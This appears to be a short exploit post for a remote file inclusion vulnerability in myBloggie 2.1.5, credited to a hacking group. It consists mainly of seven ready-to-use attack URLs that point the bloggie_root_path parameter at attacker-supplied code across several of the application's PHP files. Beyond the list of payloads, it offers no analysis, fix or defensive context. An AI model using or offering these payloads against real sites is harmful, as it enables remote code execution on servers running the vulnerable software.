########################################################################
#
#
# myBloggie 2.1.5 RFI
#
# Author: Yaser <yaser (at) gencturk (dot) net [email concealed]>
#
# Homepage: http://www.ayyildiz.org
#
########################################################################
#

########################################################################
#
# Download S : http://mywebland.com/download.php?id=19
#
# Exploits:
#
# http://site/config.php?bloggie_root_path=evilcode?
# http://site/includes/db.php?bloggie_root_path=evilcode?
# http://site/includes/template.php?bloggie_root_path=evilcode?
# http://site/includes/functions.php?bloggie_root_path=evilcode?
# http://site/includes/classes.php?bloggie_root_path=evilcode?
# http://site/viewmode.php.php?bloggie_root_path=evilcode?
# http://site/blog_body.php?bloggie_root_path=evilcode?
#
########################################################################
#

Thanks: H0tturk - ir4dex - ht08 - ajann - GencTurk - Zakix - Devil Hacker

Referance: www.h0tturk.com and Stefan Esser

[ reply ]